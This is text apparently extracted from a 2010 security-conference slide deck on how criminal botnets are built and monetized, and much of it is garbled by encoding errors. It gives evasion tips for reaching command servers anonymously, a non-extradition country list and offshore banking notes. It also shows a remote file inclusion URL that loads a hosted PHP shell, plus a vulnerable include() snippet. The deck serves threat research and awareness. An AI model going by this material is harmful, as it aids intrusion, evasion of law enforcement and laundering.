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About

ÅGunter Ollmann
ïVP of Research, Damballa Inc.

ïBoard of Advisors, IOActiveInc.

ÅBrief Bio:
ïBeen in IT industry for two decades ςBuilt and run international 

pentestteams, R&D groups and consulting practices around the 
world. 

ïFormerly Chief Security Strategist at IBM, Director of X-Force for 
ISS, Professional Services Director for NGS Software, Head of 
Attack Services EMEA, etc.

ïFrequent writer, columnist and blogger with lots of 
ǿƘƛǘŜǇŀǇŜǊǎΧ
Åhttp://blog.damballa.com& http://technicalinfodotnet.blogspot.com/
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Å²Ƙŀǘ ǘƘƛǎ ǘŀƭƪ ƛǎΧ

ïUnderstanding the 
profession

ïDemystifying a 
sophisticated threat

ïExamining monetization 
models

Å²Ƙŀǘ ǘƘƛǎ ǘŀƭƪ ƛǎƴΩǘΧ

ï! άƘƻǿ ǘƻέ ƎǳƛŘŜ ƻƴ 
building a better botnet

ïBeing a better criminal



How much of a criminal?

Å5ƛŦŦŜǊŜƴǘ ŎƻǳƴǘǊƛŜǎΣ ŘƛŦŦŜǊŜƴǘ ƭŀǿǎΧ

ïBotnets may or may not be illegal

ïBuilding/distributing malware may not be illegal

ÅBuilding botnets for fun & profit

ï5ƻƴΩǘ ƴŜŜŘ ǘƻ ōŜ ƘŀǊŘ-core criminal

ïTools, guides, how-ǘƻΩǎΣ ǾŜƴŘƻǊǎΣ ǎǇƻƴǎƻǊǎΣ ŜǘŎΦ

ïLǘΩǎ ŀ άōǳǎƛƴŜǎǎ ƭƛƪŜ ŀƴȅ ƻǘƘŜǊέ
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Connecting to the CnC (1)

ÅSeparate work from pleasure
ïDedicated laptop(s) for building and 

running the botnet business

Å(Un)traceability
ïChange MAC addresses regularly

ïDifferent Web browsers and 
turned off cookie caching.

ïUse a (patched) base install machine

ÅEncrypt all CnC traffic
ïAsymmetric keys = much preferred.
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Connecting to the CnC (2)

ÅDeniability is important -

ïOpen WiFiis your friend

ïLocations that don't have CCTV

ÅDon't connect directly - Ever!

ïAnonymous proxy and TOR 
networks are preferred

ÅHiding in the masses

ïAcademic networks + libraries

10/14/2010 8Hacker Halted USA 2010 ςBuilding Botnetsfor Fun & Profit ςGunter Ollmann



Botnet CnC Connections

ÅFree WiFiaccess points

ïPhysical location changes

ÅChange the MAC address
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Apple Stores
Atlanta Bread Company

Barnes & Noble
Border Books

Caribou Coffee
Hooters

Krystal Restaurants
McDonalds

Office Depot
PaneraBread Company

Staples
Starbucks

Etc.
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Retirement Planning?
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Å Afghanistan
Å Algeria
Å Andorra
Å Angola
Å Armenia
Å Bahrain
Å Bangladesh
Å Bosnia and 

Herzegovina
Å Bhutan 
Å Botswana 
Å Brunei 
Å Burkina Faso 
Å Burundi 
Å Cambodia 
Å Cameroon 
Å Cape Verde 
Å Central African 

Republic 

Å Chad 
Å China 
Å Comoros 
Å Cote d' Ivoire
Å Congo
Å Djibouti 
Å Equatorial Guinea 
Å Ethiopia 
Å Gabon 
Å Guinea 
Å Guinea Bissau 
Å Indonesia 
Å Iran 
Å Ivory Coast 
Å Jordan 
Å Kuwait 
Å Laos 
Å Lebanon 
Å Libya 

Å Madagascar 
Å Marshall Islands
Å Mali 
Å Maldives 
Å Mauritania 
Å Mongolia 
Å Morocco 
Å Mozambique 
Å Nepal 
Å Niger 
Å Oman 
Å Philippines 
Å Qatar 
Å Russian Federation
Å Rwanda 
Å Samoa 
Å Sao Tome e Principe 
Å Saudi Arabia 
Å Senegal 

Å Somalia 
Å Sudan 
Å Syria 
Å Togo 
Å Tunisia 
Å Uganda 
Å United Arab 

Emirates 
Å Vanuatu 
Å Vietnam 
Å Yemen 
Å Zaire 
Å Zimbabwe
Å όtƭǳǎ ǎƻƳŜ ƳƻǊŜΧύ

aka. non-extradition contries (with the USA)
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Foreign Bank Accounts

ÅCreate foreign banking accounts
ï"In person" account creation = less evidence
ïMay need a physical address

ÅLƴ ǘƘǊŜŜǎΧ 
ïSwiss numbered account
ÅMinimum balance to open the account (plus fees)

ïCayman Island Account
ïPanama Bearer Share Corporation account

ÅBilateral agreements covering fraud
ïDisclosure of owner details 
ïwant to stay away from the fraud aspect

ÅMost accounts include 
ïCredit cards 
ïonline banking
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Transaction Laundering
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The First Botnet

ÅάhŦŦ ǘƘŜ ǎƘŜƭŦέ 5L¸ ōƻǘƴŜǘ ŎƻƴǎǘǊǳŎǘƛƻƴ ƪƛǘ

ïZeus, SpyEye, Butterfly, etc.

ÅSeeding torrents & newsgroups

ïAnonymous submission

ïVery difficult to trackback

ïDoesn't rely upon hosting

ïNatural propagation & infection

ÅDynamic DNS for CnC

ïFree and anonymous
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Ecosystem

ÅOne-to-one relationships are dead

ïOne botnet per malware (fiction)

ïOne botnet per operator (fiction)

ÅFederated ecosystem

ïProfessional service provisioning

ïCottage industry of plug-ins

ïTalented and specialist contractors
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Botnet Ecosystem
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Infrastructure Providers (IaaS)
Hacked servers, server redundancy, botnet victims, etc.

Hosting Providers (PaaS)
Bullet proof hostersΣ άŦǊƛŜƴŘƭȅέ L{tΩǎΣ ƳŀƭǿŀǊŜ ƘƻǎǘƛƴƎΣ ŜǘŎΦ

Delivery Providers (SaaS)
iFrameservices, email/phishing campaigns, etc.

Managed Service Providers (MSS)
DNS hosting, fluxing services, SEO, etc.

Professional Service Providers (PSS)
Malware, exploit packs, translation, web design, etc.

Affiliates
Distribution, infection, etc.

Resellers
Laundering, traders, etc.
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Ratings & Reputations

2
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Hacking Away



Access to new vulnerabilities
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SQL I Helper V.2.7
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LFI Intruder
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AutoRooterSite

Hacker Halted USA 2010 ςBuilding Botnetsfor Fun & Profit ςGunter Ollmann



Remote File Inclusion Attacks

ÅMostly Kiddiezwith 
RFI Scannerz

ÅEffective for low 
hanging fruit

ÅRemotely executed & 
wǳƴ ŀǎ άǿǿǿέ ǳǎŜǊ
ïPHP IRC Bots

ïWeb Shells (c99/r57)

ïDatabase Dumpers

ÅCode usually publicly 
available
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RFI Technique

ÅFind a free upload site

ïUpload php site as .txt

ïFind vulnerable target site

ÅRFI Scanners make this easy

ïExecute Uploaded php as remote file
ÅƘǘǘǇΥκκǿǿǿΦǘŀǊƎŜǘǎƛǘŜΦŎƻƳκƛƴŘŜȄΦǇƘǇΚŦҐάƘǘǘǇΥκκŦǊŜŜǳǇƭƻŀŘǎƛǘŜΦŎƻƳκǇƘǇǎƘŜƭƭΦǘȄǘέ

ïUpload C&C control panel on target site

ïVulnerable because of no input sanitization
e.g.          <php

include($_GET[ópageô]);

?>
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http://www.targetsite.com/index.php?f=“http://freeuploadsite.com/phpshell.txt


Once Found

ÅHundreds of Web backdoors
ïά!ǳǘƻ-ǊƻƻǘŜǊǎέ ƻǊ ǇŀǎǎǿƻǊŘ ŜȄǘǊŀŎǘƛƻƴ
ïaƻǎǘ ōŀǎŜŘ ƻƴ о ǎƻǳǊŎŜǎ ƻŦ ŎƻŘŜΧ

ÅR57
ÅC99
ÅLocus7Shell
ïEnables Full control of website 

via browser
ïWebshellcode non-existent locally
ÅAnti-Forensics
ÅVisible via web log analysis
ÅExecutable processes by WWW visible (unusual)

The backdoors have a 
range of functionality, 
but most of them will 
have methods to bypass 
PHP security functions, 
steal information, 
read/modify files, access 
SQL databases, crack 
passwords, execute 
arbitrary commands and 
escalate privileges.

Hacker Halted USA 2010 ςBuilding Botnetsfor Fun & Profit ςGunter Ollmann



C99 Shell
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